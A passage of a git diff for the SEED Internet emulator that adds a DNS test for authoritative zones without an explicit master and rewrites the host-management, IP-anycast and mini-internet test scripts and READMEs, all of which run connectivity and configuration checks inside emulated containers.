action=Action.FIRST)) +emu.addBinding(Binding('ns-example32-com', filter=Filter(asn=150, nodeName='dns-ex'), action=Action.FIRST)) +emu.addBinding(Binding('ns-rev', filter=Filter(asn=150, nodeName='dns-rev'), action=Action.FIRST)) +emu.addBinding(Binding('global-dns', filter=Filter(asn=151, nodeName='local-dns'), action=Action.FIRST)) + +# Ensure resolv.conf on all nodes uses the local DNS server +base.setNameServers(['10.151.0.53']) + +# Render and compile +emu.render() +emu.compile(Docker(), './output', override=True) diff --git a/tests/internet/dns_no_master/DNSTestCaseNoMaster.py b/tests/internet/dns_no_master/DNSTestCaseNoMaster.py new file mode 100644 index 000000000..de6d20598 --- /dev/null +++ b/tests/internet/dns_no_master/DNSTestCaseNoMaster.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +import os, sys +sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../..'))) + +import unittest as ut +from tests.SeedEmuTestCase import SeedEmuTestCase + +class DNSTestCaseNoMaster(SeedEmuTestCase): + + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + cls.wait_until_all_containers_up(4) + cls.local_dns = None + cls.client1 = None + cls.auth_example = None + for c in cls.containers: + n = c.name + if 'local-dns' in n or '10.151.0.53' in n: + cls.local_dns = c + if 'client1' in n: + cls.client1 = c + # Discover authoritative for example32.com by scanning bind configs + for c in cls.containers: + ec, _ = c.exec_run("sh -lc 'test -f /etc/bind/named.conf.zones && grep -q " + '"zone \\\"example32.com.\\\""' + " /etc/bind/named.conf.zones'") + if ec == 0: + cls.auth_example = c + return + + def _ok(self, container, cmd): + ec, _ = container.exec_run(cmd) + return ec == 0 + + def test_authoritative_zone_present(self): + self.assertIsNotNone(self.auth_example) + self.assertTrue(self._ok(self.auth_example, "test -f /etc/bind/named.conf.zones")) + self.assertTrue(self._ok(self.auth_example, "grep -q 'zone \"example32.com.\"' /etc/bind/named.conf.zones")) + self.assertTrue(self._ok(self.auth_example, "grep -q 'A 10.151.0.7' /etc/bind/zones/example32.com.")) + + def test_forwarders_fallback_by_vnode_name(self): + self.assertIsNotNone(self.local_dns) + # No master was set; install() should fallback to resolving vnode name to IP + self.assertTrue(self._ok(self.local_dns, "grep -q 'zone \"example32.com.\"' /etc/bind/named.conf.local")) + # forwarders stanza should exist (search whole file for robustness) + self.assertTrue(self._ok(self.local_dns, "grep -q 'forwarders' /etc/bind/named.conf.local")) + + def test_resolution_works(self): + self.assertIsNotNone(self.client1) + self.assertTrue(self._ok(self.client1, "grep -q 'nameserver 10.151.0.53' /etc/resolv.conf")) + ec, _ = self.client1.exec_run("ping -c 1 example32.com") + self.assertEqual(ec, 0) + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls('test_authoritative_zone_present')) + test_suite.addTest(cls('test_forwarders_fallback_by_vnode_name')) + test_suite.addTest(cls('test_resolution_works')) + return test_suite + +if __name__ == "__main__": + test_suite = DNSTestCaseNoMaster.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + DNSTestCaseNoMaster.printLog("==========Test=========") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + DNSTestCaseNoMaster.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) diff --git a/tests/internet/dns_no_master/__init__.py b/tests/internet/dns_no_master/__init__.py new file mode 100644 index 000000000..9e5f8a7d4 --- /dev/null +++ b/tests/internet/dns_no_master/__init__.py @@ -0,0 +1 @@ +from .DNSTestCaseNoMaster import DNSTestCaseNoMaster diff --git a/tests/internet/dns_no_master/emulator-code/test-emulator.py b/tests/internet/dns_no_master/emulator-code/test-emulator.py new file mode 100644 index 000000000..692bd1019 --- /dev/null +++ b/tests/internet/dns_no_master/emulator-code/test-emulator.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +import os, sys +sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '../../../..'))) + +from seedemu.compiler import Docker +from seedemu.core import Emulator, Binding, Filter, Action +from seedemu.layers import Base, Routing, Ebgp, Ibgp, Ospf, PeerRelationship +from seedemu.services import DomainNameService, DomainNameCachingService, ReverseDomainNameService + +# Build a minimal Internet with authoritative DNS (no master), a local caching DNS, and a client host. +emu = Emulator() +base = Base() +routing = Routing() +ebgp = Ebgp() +ibgp = Ibgp() +osfp = Ospf() + +# Internet Exchange +ix100 = base.createInternetExchange(100) +ix100.getPeeringLan().setDisplayName('IX-100') + +# Authoritative side: AS150 +as150 = base.createAutonomousSystem(150) +as150.createNetwork('net0') +as150.createRouter('r150').joinNetwork('net0').joinNetwork('ix100') +as150.createHost('dns-a').joinNetwork('net0', address='10.150.0.10') +as150.createHost('dns-b').joinNetwork('net0', address='10.150.0.11') +as150.createHost('dns-com').joinNetwork('net0', address='10.150.0.12') +as150.createHost('dns-ex').joinNetwork('net0', address='10.150.0.13') +as150.createHost('dns-rev').joinNetwork('net0', address='10.150.0.14') + +# Client side: AS151 +as151 = base.createAutonomousSystem(151) +as151.createNetwork('net0') +as151.createRouter('r151').joinNetwork('net0').joinNetwork('ix100') +# LDNS host and two end hosts +as151.createHost('local-dns').joinNetwork('net0', address='10.151.0.53') +as151.createHost('svc1').joinNetwork('net0', address='10.151.0.7') +as151.createHost('client1').joinNetwork('net0') + +# EBGP peering between two ASes via IX100 +ebgp.addPrivatePeering(100, 150, 151, abRelationship=PeerRelationship.Provider) + +# Add layers +emu.addLayer(base) +emu.addLayer(routing) +emu.addLayer(ebgp) +emu.addLayer(ibgp) +emu.addLayer(osfp) + +# Authoritative DNS without explicit master +dns = DomainNameService() +# Root zone (no master) +dns.install('a-root').addZone('.') +dns.install('b-root').addZone('.') +# com. TLD and a business zone example32.com. (no setMaster on example zone) +dns.install('ns-com').addZone('com.') +dns.install('ns-example32-com').addZone('example32.com.') +# Reverse zone in-addr.arpa. +dns.install('ns-rev').addZone('in-addr.arpa.') + +# Add an A record for example32.com to point to svc1 in AS151 +dns.getZone('example32.com.').addRecord('@ A 10.151.0.7') + +emu.addLayer(dns) + +# Local Caching DNS (LDNS) +ldns = DomainNameCachingService(autoRoot=True) +ldns_server = ldns.install('global-dns') +# Forward a business zone to its authoritative vnode name (no master IP available) +ldns_server.addForwardZone('example32.com.', 'ns-example32-com') + +emu.addLayer(ldns) + +# Reverse DNS service to populate PTR records +rdns = ReverseDomainNameService() +emu.addLayer(rdns) + +# Bind authoritative vnodes to specific hosts +emu.addBinding(Binding('a-root', filter=Filter(asn=150, nodeName='dns-a'), action=Action.FIRST)) +emu.addBinding(Binding('b-root', filter=Filter(asn=150, nodeName='dns-b'), action=Action.FIRST)) +emu.addBinding(Binding('ns-com', filter=Filter(asn=150, nodeName='dns-com'), action=Action.FIRST)) +emu.addBinding(Binding('ns-example32-com', filter=Filter(asn=150, nodeName='dns-ex'), action=Action.FIRST)) +emu.addBinding(Binding('ns-rev', filter=Filter(asn=150, nodeName='dns-rev'), action=Action.FIRST)) +emu.addBinding(Binding('global-dns', filter=Filter(asn=151, nodeName='local-dns'), action=Action.FIRST)) + +# Ensure resolv.conf on all nodes uses the local DNS server +base.setNameServers(['10.151.0.53']) + +# Render and compile +emu.render() +emu.compile(Docker(), './output', override=True) diff --git a/tests/internet/host_mgmt/HostMgmtTestCase.py b/tests/internet/host_mgmt/HostMgmtTestCase.py index 868561fdb..6e2e0de06 100755 --- a/tests/internet/host_mgmt/HostMgmtTestCase.py +++ b/tests/internet/host_mgmt/HostMgmtTestCase.py @@ -1,60 +1,60 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -import unittest as ut -from tests import SeedEmuTestCase -import re - -def get_numbers_from_string(input_string): - # Use regular expression to find all numbers in the string - numbers = re.findall(r'\d+', input_string) - return ''.join(numbers) - -class HostMgmtTestCase(SeedEmuTestCase): - - @classmethod - def setUpClass(cls) -> None: - super().setUpClass() - cls.wait_until_all_containers_up(61) - cls.hostnames = [] - for container in cls.containers: - container_name = (container.name).split('-') - if len(container_name) >= 3: - asn, name = container_name[0], ''.join(container_name[1:-1]) - asn = get_numbers_from_string(asn) - print(f"{asn}-{name}") - cls.hostnames.append(f"{asn}-{name}") - if "10.150.0.71" in container.name: - cls.source_host = container - return - - def test_default_host_names(self): - for hostname in self.hostnames: - # Test only if the node role is host or router. If their role is ix and rs, - # it is natural that the normal host node is not able to connect to them. - if "router" in hostname or "host" in hostname or "webservice" in hostname: - self.printLog("\n-------- ping test --------") - self.printLog("hostname : {}".format(hostname)) - self.assertTrue(self.ping_test(self.source_host, hostname)) - - def test_customized_host_names(self): - self.printLog("\n-------- customized ip test --------") - self.printLog("hostname : database.com") - self.assertTrue(self.ping_test(self.source_host, "database.com")) - - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(cls('test_default_host_names')) - test_suite.addTest(cls('test_customized_host_names')) - return test_suite - -if __name__ == "__main__": - test_suite = HostMgmtTestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - HostMgmtTestCase.printLog("==========Test=========") - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - HostMgmtTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) - +#!/usr/bin/env python3 +# encoding: utf-8 + +import unittest as ut +from tests import SeedEmuTestCase +import re + +def get_numbers_from_string(input_string): + # Use regular expression to find all numbers in the string + numbers = re.findall(r'\d+', input_string) + return ''.join(numbers) + +class HostMgmtTestCase(SeedEmuTestCase): + + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + cls.wait_until_all_containers_up(61) + cls.hostnames = [] + for container in cls.containers: + container_name = (container.name).split('-') + if len(container_name) >= 3: + asn, name = container_name[0], ''.join(container_name[1:-1]) + asn = get_numbers_from_string(asn) + print(f"{asn}-{name}") + cls.hostnames.append(f"{asn}-{name}") + if "10.150.0.71" in container.name: + cls.source_host = container + return + + def test_default_host_names(self): + for hostname in self.hostnames: + # Test only if the node role is host or router. If their role is ix and rs, + # it is natural that the normal host node is not able to connect to them. + if "router" in hostname or "host" in hostname or "webservice" in hostname: + self.printLog("\n-------- ping test --------") + self.printLog("hostname : {}".format(hostname)) + self.assertTrue(self.ping_test(self.source_host, hostname)) + + def test_customized_host_names(self): + self.printLog("\n-------- customized ip test --------") + self.printLog("hostname : database.com") + self.assertTrue(self.ping_test(self.source_host, "database.com")) + + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls('test_default_host_names')) + test_suite.addTest(cls('test_customized_host_names')) + return test_suite + +if __name__ == "__main__": + test_suite = HostMgmtTestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + HostMgmtTestCase.printLog("==========Test=========") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + HostMgmtTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) + diff --git a/tests/internet/host_mgmt/emulator-code/test-emulator.py b/tests/internet/host_mgmt/emulator-code/test-emulator.py index 2ccf4b7c0..7e6081d6c 100755 --- a/tests/internet/host_mgmt/emulator-code/test-emulator.py +++ b/tests/internet/host_mgmt/emulator-code/test-emulator.py @@ -1,24 +1,24 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from seedemu.compiler import Docker -from seedemu.layers import Base, EtcHosts -from seedemu.core import Emulator - -emu = Emulator() -etc_hosts = EtcHosts() - -# Load the pre-built mini-internet component -emu.load('../../mini_internet/emulator-code/base-component.bin') - -# Create a new host in AS-152 with custom host name -base: Base = emu.getLayer('Base') -as152 = base.getAutonomousSystem(152) -as152.createHost('database').joinNetwork('net0', address = '10.152.0.4').addHostName('database.com') - -# Add the etc_hosts layer -emu.addLayer(etc_hosts) - -# Render the emulation and further customization -emu.render() -emu.compile(Docker(), './output') +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu.compiler import Docker +from seedemu.layers import Base, EtcHosts +from seedemu.core import Emulator + +emu = Emulator() +etc_hosts = EtcHosts(only_hosts=False) + +# Load the pre-built mini-internet component +emu.load('../../mini_internet/emulator-code/base-component.bin') + +# Create a new host in AS-152 with custom host name +base: Base = emu.getLayer('Base') +as152 = base.getAutonomousSystem(152) +as152.createHost('database').joinNetwork('net0', address = '10.152.0.4').addHostName('database.com') + +# Add the etc_hosts layer +emu.addLayer(etc_hosts) + +# Render the emulation and further customization +emu.render() +emu.compile(Docker(), './output') diff --git a/tests/internet/ip_anycast/IPAnyCastTestCase.py b/tests/internet/ip_anycast/IPAnyCastTestCase.py index 624585729..946b80c77 100755 --- a/tests/internet/ip_anycast/IPAnyCastTestCase.py +++ b/tests/internet/ip_anycast/IPAnyCastTestCase.py @@ -1,105 +1,105 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -import unittest as ut -import os -import time -from tests import SeedEmuTestCase - - -class IPAnyCastTestCase(SeedEmuTestCase): - @classmethod - def setUpClass(cls) -> None: - super().setUpClass() - cls.wait_until_all_containers_up(64) - for container in cls.containers: - if "10.150.0.71" in container.name: - cls.source_host = container - if "as180brd-router0" in container.name: - cls.router0_180 = container - if "as180brd-router1" in container.name: - cls.router1_180 = container - return - - @classmethod - def tearDownClass(cls) -> None: - ''' - A classmethod to destruct the some thing after this test case is finished. - For this test case, it will down the containers and remove the networks of this test case - ''' - os.system("/bin/bash ./emulator-code/down.sh 2> /dev/null") - - return super().tearDownClass() - - def test_ip_anycast(self): - self.printLog("\n-------- Test ip anycast --------") - ip = "10.180.0.100" - self.assertTrue(self.ping_test(self.source_host, ip, 0)) - - - def test_ip_anycast_router0(self): - self.printLog("\n-------- Test router0 --------") - - # Disable all bgp peers - self.router0_180.exec_run("birdc dis u_as3") - self.router0_180.exec_run("birdc dis u_as4") - - self.router1_180.exec_run("birdc dis u_as2") - self.router1_180.exec_run("birdc dis u_as3") - time.sleep(10) - - self.printLog("ping test expected result : failed") - ip = "10.180.0.100" - self.printLog("ip : {}".format(ip)) - self.assertTrue(self.ping_test(self.source_host, ip, 1)) - - # Enable only router1 - self.printLog("-------- enable router0 bgp peer --------") - self.router1_180.exec_run("birdc en u_as3") - time.sleep(10) - self.printLog("ping test expected result : success ") - self.assertTrue(self.ping_test(self.source_host, ip, 0)) - - def test_ip_anycast_router1(self): - self.printLog("\n-------- Test router1 --------") - - # Disable all bgp peers - self.router0_180.exec_run("birdc dis u_as3") - self.router0_180.exec_run("birdc dis u_as4") - - self.router1_180.exec_run("birdc dis u_as2") - self.router1_180.exec_run("birdc dis u_as3") - time.sleep(10) - - - self.printLog("ping test expected result : failed ") - ip = "10.180.0.100" - self.printLog("ip : {}".format(ip)) - self.assertTrue(self.ping_test(self.source_host, ip, 1)) - - # Enable only router1 - self.printLog("-------- enable router1 bgp peer --------") - self.router1_180.exec_run("birdc en u_as3") - time.sleep(10) - self.printLog("ping test expected result : success") - self.assertTrue(self.ping_test(self.source_host, ip, 0)) - - - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(IPAnyCastTestCase('test_ip_anycast')) - test_suite.addTest(IPAnyCastTestCase('test_ip_anycast_router0')) - test_suite.addTest(IPAnyCastTestCase('test_ip_anycast_router1')) - return test_suite - - -if __name__ == "__main__": - test_suite = IPAnyCastTestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - IPAnyCastTestCase.printLog("==========Test=========") - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - IPAnyCastTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) - +#!/usr/bin/env python3 +# encoding: utf-8 + +import unittest as ut +import os +import time +from tests import SeedEmuTestCase + + +class IPAnyCastTestCase(SeedEmuTestCase): + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + cls.wait_until_all_containers_up(64) + for container in cls.containers: + if "10.150.0.71" in container.name: + cls.source_host = container + if "as180brd-router0" in container.name: + cls.router0_180 = container + if "as180brd-router1" in container.name: + cls.router1_180 = container + return + + @classmethod + def tearDownClass(cls) -> None: + ''' + A classmethod to destruct the some thing after this test case is finished. + For this test case, it will down the containers and remove the networks of this test case + ''' + os.system("/bin/bash ./emulator-code/down.sh 2> /dev/null") + + return super().tearDownClass() + + def test_ip_anycast(self): + self.printLog("\n-------- Test ip anycast --------") + ip = "10.180.0.100" + self.assertTrue(self.ping_test(self.source_host, ip, 0)) + + + def test_ip_anycast_router0(self): + self.printLog("\n-------- Test router0 --------") + + # Disable all bgp peers + self.router0_180.exec_run("birdc dis u_as3") + self.router0_180.exec_run("birdc dis u_as4") + + self.router1_180.exec_run("birdc dis u_as2") + self.router1_180.exec_run("birdc dis u_as3") + time.sleep(10) + + self.printLog("ping test expected result : failed") + ip = "10.180.0.100" + self.printLog("ip : {}".format(ip)) + self.assertTrue(self.ping_test(self.source_host, ip, 1)) + + # Enable only router1 + self.printLog("-------- enable router0 bgp peer --------") + self.router1_180.exec_run("birdc en u_as3") + time.sleep(10) + self.printLog("ping test expected result : success ") + self.assertTrue(self.ping_test(self.source_host, ip, 0)) + + def test_ip_anycast_router1(self): + self.printLog("\n-------- Test router1 --------") + + # Disable all bgp peers + self.router0_180.exec_run("birdc dis u_as3") + self.router0_180.exec_run("birdc dis u_as4") + + self.router1_180.exec_run("birdc dis u_as2") + self.router1_180.exec_run("birdc dis u_as3") + time.sleep(10) + + + self.printLog("ping test expected result : failed ") + ip = "10.180.0.100" + self.printLog("ip : {}".format(ip)) + self.assertTrue(self.ping_test(self.source_host, ip, 1)) + + # Enable only router1 + self.printLog("-------- enable router1 bgp peer --------") + self.router1_180.exec_run("birdc en u_as3") + time.sleep(10) + self.printLog("ping test expected result : success") + self.assertTrue(self.ping_test(self.source_host, ip, 0)) + + + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(IPAnyCastTestCase('test_ip_anycast')) + test_suite.addTest(IPAnyCastTestCase('test_ip_anycast_router0')) + test_suite.addTest(IPAnyCastTestCase('test_ip_anycast_router1')) + return test_suite + + +if __name__ == "__main__": + test_suite = IPAnyCastTestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + IPAnyCastTestCase.printLog("==========Test=========") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + IPAnyCastTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) + diff --git a/tests/internet/ip_anycast/README.md b/tests/internet/ip_anycast/README.md index 3a537f81c..83ba311b8 100644 --- a/tests/internet/ip_anycast/README.md +++ b/tests/internet/ip_anycast/README.md @@ -1,35 +1,35 @@ -# Unit Test for IP Any Cast - -## Overview - -The `IPAnyCastTestCase.py` performs a unit test for `example/B03-ip-anycast`. In this script, it consists of 4 testcases: (1) `test_ip_anycast`, (2) `test_ip_anycast_router0`, and (3) `test_ip_anycast_router1`. - -## How to run - -This unit testing have a loader to load all the ethereum service unit testing cases. - -```sh -# Run the Test Script -./IPAnyCastTestCase.py -``` - -Once the test is done, `test_log` folder including the test result is created. -A test result is not only printed out to the terminal also saved as a file named `log.txt`. The logs can be used when investigating the failure cases. - -``` -$ tree test_log -test_log -├── build_log -├── compile_log -├── containers_log -└── log.txt -``` - - -## Test Case Explain - -In this test script, it comprises 8 test cases: (1) `test_ip_anycast`, (2) `test_ip_anycast_router0`, and (3) `test_ip_anycast_router1`. - -Testcase (1) `test_ip_anycast` ping to `10.180.0.100` and test it is not failed. -Testcase (2) `test_ip_anycast_router0` disable all routers and test if ping to `10.180.0.100` fails. Then, enable only router0 and test if ping to `10.180.0.100` works. +# Unit Test for IP Any Cast + +## Overview + +The `IPAnyCastTestCase.py` performs a unit test for `example/B03-ip-anycast`. In this script, it consists of 4 testcases: (1) `test_ip_anycast`, (2) `test_ip_anycast_router0`, and (3) `test_ip_anycast_router1`. + +## How to run + +This unit testing have a loader to load all the ethereum service unit testing cases. + +```sh +# Run the Test Script +./IPAnyCastTestCase.py +``` + +Once the test is done, `test_log` folder including the test result is created. +A test result is not only printed out to the terminal also saved as a file named `log.txt`. The logs can be used when investigating the failure cases. + +``` +$ tree test_log +test_log +├── build_log +├── compile_log +├── containers_log +└── log.txt +``` + + +## Test Case Explain + +In this test script, it comprises 8 test cases: (1) `test_ip_anycast`, (2) `test_ip_anycast_router0`, and (3) `test_ip_anycast_router1`. + +Testcase (1) `test_ip_anycast` ping to `10.180.0.100` and test it is not failed. +Testcase (2) `test_ip_anycast_router0` disable all routers and test if ping to `10.180.0.100` fails. Then, enable only router0 and test if ping to `10.180.0.100` works. Testcase (3) `test_ip_anycast_router1` disable all routers and test if ping to `10.180.0.100` fails. Then, enable only router1 and test if ping to `10.180.0.100` works. \ No newline at end of file diff --git a/tests/internet/ip_anycast/emulator-code/test-emulator.py b/tests/internet/ip_anycast/emulator-code/test-emulator.py index b826fef17..f37edb04c 100755 --- a/tests/internet/ip_anycast/emulator-code/test-emulator.py +++ b/tests/internet/ip_anycast/emulator-code/test-emulator.py @@ -1,41 +1,41 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from seedemu.core import Emulator, Binding, Filter, Action -from seedemu.compiler import Docker -from seedemu.layers import Base, Ebgp, PeerRelationship - -emu = Emulator() - -# Load the pre-built component -emu.load('../../mini_internet/emulator-code/base-component.bin') -base: Base = emu.getLayer('Base') -ebgp: Ebgp = emu.getLayer('Ebgp') - -# Create a new AS with two disjoint networks, but the -# IP prefix of these two networks are the same. -as180 = base.createAutonomousSystem(180) -as180.createNetwork('net0', '10.180.0.0/24') -as180.createNetwork('net1', '10.180.0.0/24') - -# Create a host on each network, but assign them the same IP address -as180.createHost('host-0').joinNetwork('net0', address = '10.180.0.100') -as180.createHost('host-1').joinNetwork('net1', address = '10.180.0.100') - -# Attach one network to IX-100 (via BGP router) -# Peer AS-180 with AS-3 and AS-4 -as180.createRouter('router0').joinNetwork('net0').joinNetwork('ix100') -ebgp.addPrivatePeerings(100, [3, 4], [180], PeerRelationship.Provider) - -# Attach the other network to IX-105 (via a different BGP router) -# Peer AS-180 with AS-2 and AS-3 -as180.createRouter('router1').joinNetwork('net1').joinNetwork('ix105') -ebgp.addPrivatePeerings(105, [2, 3], [180], PeerRelationship.Provider) - - -############################################### -emu.render() - -# We need to set the selfManagedNetwork option to True (see README) -emu.compile(Docker(selfManagedNetwork=True), './output') - +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu.core import Emulator, Binding, Filter, Action +from seedemu.compiler import Docker +from seedemu.layers import Base, Ebgp, PeerRelationship + +emu = Emulator() + +# Load the pre-built component +emu.load('../../mini_internet/emulator-code/base-component.bin') +base: Base = emu.getLayer('Base') +ebgp: Ebgp = emu.getLayer('Ebgp') + +# Create a new AS with two disjoint networks, but the +# IP prefix of these two networks are the same. +as180 = base.createAutonomousSystem(180) +as180.createNetwork('net0', '10.180.0.0/24') +as180.createNetwork('net1', '10.180.0.0/24') + +# Create a host on each network, but assign them the same IP address +as180.createHost('host-0').joinNetwork('net0', address = '10.180.0.100') +as180.createHost('host-1').joinNetwork('net1', address = '10.180.0.100') + +# Attach one network to IX-100 (via BGP router) +# Peer AS-180 with AS-3 and AS-4 +as180.createRouter('router0').joinNetwork('net0').joinNetwork('ix100') +ebgp.addPrivatePeerings(100, [3, 4], [180], PeerRelationship.Provider) + +# Attach the other network to IX-105 (via a different BGP router) +# Peer AS-180 with AS-2 and AS-3 +as180.createRouter('router1').joinNetwork('net1').joinNetwork('ix105') +ebgp.addPrivatePeerings(105, [2, 3], [180], PeerRelationship.Provider) + + +############################################### +emu.render() + +# We need to set the selfManagedNetwork option to True (see README) +emu.compile(Docker(selfManagedNetwork=True), './output') + diff --git a/tests/internet/mini_internet/MiniInternetTestCase.py b/tests/internet/mini_internet/MiniInternetTestCase.py index 3f67e1e8c..4767e2025 100755 --- a/tests/internet/mini_internet/MiniInternetTestCase.py +++ b/tests/internet/mini_internet/MiniInternetTestCase.py @@ -1,56 +1,56 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -import unittest as ut -from tests import SeedEmuTestCase - -class MiniInternetTestCase(SeedEmuTestCase): - - @classmethod - def setUpClass(cls) -> None: - super().setUpClass() - cls.wait_until_all_containers_up(60) - for container in cls.containers: - if "10.150.0.71" in container.name: - cls.source_host = container - break - return - - def test_internet_connection(self): - asns = [151, 152, 153, 154, 160, 161, 162, 163, 164, 170, 171] - for asn in asns: - self.printLog("\n-------- ping test --------") - ip = "10.{}.0.254".format(asn) - self.printLog("ip : {}".format(ip)) - self.assertTrue(self.ping_test(self.source_host, ip)) - - def test_customized_ip_address(self): - self.printLog("\n-------- customized ip test --------") - self.printLog("ip : 10.154.0.129") - self.assertTrue(self.ping_test(self.source_host, "10.154.0.129")) - - def test_real_world_as(self): - self.printLog("\n-------- real world as test --------") - self.printLog("real world as 11872") - self.printLog("check real world ip : 128.230.18.63") - # 128.230.18.63 - ip of syr.edu - self.assertTrue(self.http_get_test(self.source_host, "128.230.18.63", 301)) - - def test_vpn(self): - return - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(cls('test_internet_connection')) - test_suite.addTest(cls('test_customized_ip_address')) - test_suite.addTest(cls('test_real_world_as')) - return test_suite - -if __name__ == "__main__": - test_suite = MiniInternetTestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - MiniInternetTestCase.printLog("==========Test=========") - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - MiniInternetTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) +#!/usr/bin/env python3 +# encoding: utf-8 + +import unittest as ut +from tests import SeedEmuTestCase + +class MiniInternetTestCase(SeedEmuTestCase): + + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + cls.wait_until_all_containers_up(60) + for container in cls.containers: + if "10.150.0.71" in container.name: + cls.source_host = container + break + return + + def test_internet_connection(self): + asns = [151, 152, 153, 154, 160, 161, 162, 163, 164, 170, 171] + for asn in asns: + self.printLog("\n-------- ping test --------") + ip = "10.{}.0.254".format(asn) + self.printLog("ip : {}".format(ip)) + self.assertTrue(self.ping_test(self.source_host, ip)) + + def test_customized_ip_address(self): + self.printLog("\n-------- customized ip test --------") + self.printLog("ip : 10.154.0.129") + self.assertTrue(self.ping_test(self.source_host, "10.154.0.129")) + + def test_real_world_as(self): + self.printLog("\n-------- real world as test --------") + self.printLog("real world as 11872") + self.printLog("check real world ip : 128.230.18.63") + # 128.230.18.63 - ip of syr.edu + self.assertTrue(self.http_get_test(self.source_host, "128.230.18.63", 301)) + + def test_vpn(self): + return + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls('test_internet_connection')) + test_suite.addTest(cls('test_customized_ip_address')) + test_suite.addTest(cls('test_real_world_as')) + return test_suite + +if __name__ == "__main__": + test_suite = MiniInternetTestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + MiniInternetTestCase.printLog("==========Test=========") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + MiniInternetTestCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) diff --git a/tests/internet/mini_internet/README.md b/tests/internet/mini_internet/README.md index 6766a3c29..941ef8d6c 100644 --- a/tests/internet/mini_internet/README.md +++ b/tests/internet/mini_internet/README.md @@ -1,36 +1,36 @@ -# Unit Test for Mini Internet - -## Overview - -The `MiniInternetTestCase.py` performs a unit test for `example/B00-mini-internet`. In this script, it consists of 4 testcases: (1) `test_internet_connection`, (2) `test_customized_ip_address`, and (3) `test_real_world_as`. - -## How to run - -This unit testing have a loader to load all the ethereum service unit testing cases. - -```sh -# Run the Test Script -./MiniInternetTestCase.py -``` - -Once the test is done, `test_log` folder including the test result is created. -A test result is not only printed out to the terminal also saved as a file named `log.txt`. The logs can be used when investigating the failure cases. - -``` -$ tree test_log -test_log -├── build_log -├── compile_log -├── containers_log -└── log.txt -``` - - -## Test Case Explain - -In this test script, it comprises 8 test cases: (1) `test_internet_connection`, (2) `test_customized_ip_address`, and (3) `test_real_world_as`. - - -Testcase (1) `test_internet_connection` ping to all other containers and test it is not failed. -Testcase (2) `test_customized_ip_address` ping to cutomized ip and test if a ip customization works. +# Unit Test for Mini Internet + +## Overview + +The `MiniInternetTestCase.py` performs a unit test for `example/B00-mini-internet`. In this script, it consists of 4 testcases: (1) `test_internet_connection`, (2) `test_customized_ip_address`, and (3) `test_real_world_as`. + +## How to run + +This unit testing have a loader to load all the ethereum service unit testing cases. + +```sh +# Run the Test Script +./MiniInternetTestCase.py +``` + +Once the test is done, `test_log` folder including the test result is created. +A test result is not only printed out to the terminal also saved as a file named `log.txt`. The logs can be used when investigating the failure cases. + +``` +$ tree test_log +test_log +├── build_log +├── compile_log +├── containers_log +└── log.txt +``` + + +## Test Case Explain + +In this test script, it comprises 8 test cases: (1) `test_internet_connection`, (2) `test_customized_ip_address`, and (3) `test_real_world_as`. + + +Testcase (1) `test_internet_connection` ping to all other containers and test it is not failed. +Testcase (2) `test_customized_ip_address` ping to cutomized ip and test if a ip customization works. Testcase (3) `test_real_world_as` ping to a real world ip that belongs to the enable real world AS (11872). \ No newline at end of file diff --git a/tests/internet/mini_internet/emulator-code/test-emulator.py b/tests/internet/mini_internet/emulator-code/test-emulator.py index 4f187d203..c6e575a2b 100755 --- a/tests/internet/mini_internet/emulator-code/test-emulator.py +++ b/tests/internet/mini_internet/emulator-code/test-emulator.py @@ -1,154 +1,154 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from seedemu.layers import Base, Routing, Ebgp, Ibgp, Ospf, PeerRelationship, Dnssec -from seedemu.services import WebService, DomainNameService, DomainNameCachingService -from 